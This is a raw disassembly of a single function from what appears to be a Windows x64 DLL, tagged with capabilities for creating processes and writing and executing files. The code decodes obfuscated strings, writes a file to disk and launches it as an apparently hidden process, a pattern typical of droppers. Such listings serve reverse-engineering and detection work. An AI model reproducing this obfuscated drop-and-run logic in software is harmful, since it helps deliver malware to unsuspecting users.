Function at 0x180031090
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push rbp
push r13
push r14
lea rbp, [rax - 0x518]
sub rsp, 0x600
mov rax, qword [0x180046038]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xb0]
call fcn.18000e220
movdqa xmm0, xmmword [0x180032660]
movdqu xmmword [rbp - 0x80], xmm0
movabs r13, 0x32323a33333a3132
mov qword [rbp - 0x70], r13
mov ebx, 0x41c64e6d
mov qword [rbp - 0x68], rbx
mov edi, 0x3039
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0x100
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x180031124
mov rax, qword [rax]
mov rcx, rax
call fcn.1800125dc
mov r8, rax
lea rcx, [rbp + 0xb0]
dec rcx
xor r14d, r14d
inc rcx
cmp byte [rcx], r14b
jne 0x18003113c
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180031146
mov r12d, 0x1000
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180031193
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x18003118e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180031710
call fcn.18000b91c
movdqa xmm0, xmmword [0x180032610]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0x100
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.180006cb4
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800311cf
mov r8, qword [rax]
lea rcx, [rbp + 0xb0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x1800311d9
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1800311e3
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18003122a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x180031225
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180031716
call fcn.18000b91c
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
or rbx, 0xffffffffffffffff
cmp rax, rbx
je 0x1800316de
movdqa xmm0, xmmword [0x180032760]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x180032730]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1800326f0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x180032720]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x180032650]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0x41c64e6d
mov qword [rbp + 0x30], 0x3039
mov qword [rbp + 0x38], 0x100
mov dword [rbp - 0x38], r14d
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x30]
call fcn.18000715c
nop
cmp qword [rax + 0x18], 0x10
jb 0x1800312e1
mov rax, qword [rax]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x1800312e1
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.18000715c
cmp qword [rax + 0x18], 0x10
jb 0x180031302
mov rax, qword [rax]
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x38]
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180031353
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x18003134e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18003171c
call fcn.18000b91c
movdqa xmm0, xmmword [0x1800325f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r14b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x18003139d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180031398
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180031722
call fcn.18000b91c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x3e0]
call fcn.18000e220
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.18000e220
movdqa xmm0, xmmword [0x180032660]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov ebx, 0x41c64e6d
mov qword [rsp + 0x68], rbx
mov edi, 0x3039
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0x100
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x180031415
mov rax, qword [rax]
mov rcx, rax
call fcn.1800125dc
mov r8, rax
lea rcx, [rbp + 0x1c0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x18003142a
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180031434
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180031479
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180031474
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180031728
call fcn.18000b91c
movdqa xmm0, xmmword [0x180032600]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0x100
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180006cb4
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800314ba
mov r8, qword [rax]
lea rcx, [rbp + 0x1c0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x1800314c4
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1800314ce
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180031513
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x18003150e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18003172e
call fcn.18000b91c
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2d0]
call fcn.18000e220
movdqa xmm0, xmmword [0x180032660]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0x100
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180007298
cmp qword [rax + 0x18], 0x10
jb 0x180031565
mov rax, qword [rax]
mov rcx, rax
call fcn.1800125dc
mov r8, rax
lea rcx, [rbp + 0x2d0]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x18003157a
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x180031584
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1800315c9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x1800315c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180031734
call fcn.18000b91c
movdqa xmm0, xmmword [0x1800326c0]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0x100
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.1800073c0
cmp qword [rax + 0x18], 0x10
jb 0x180031607
mov rax, qword [rax]
lea r9, [rbp + 0x1c0]
lea r8, [rbp + 0x2d0]
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.180008fb8
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x18003165b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x180031656
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18003170a
call fcn.18000b91c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
lea ebx, [rax + 0x68]
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.18000e220
mov dword [rbp + 0x40], ebx
mov word [rbp + 0x80], r14w
mov dword [rbp + 0x7c], 1
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800316de
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.18000ba30
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
nop
call fcn.180012344
nop
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
int3
call fcn.180012344
int3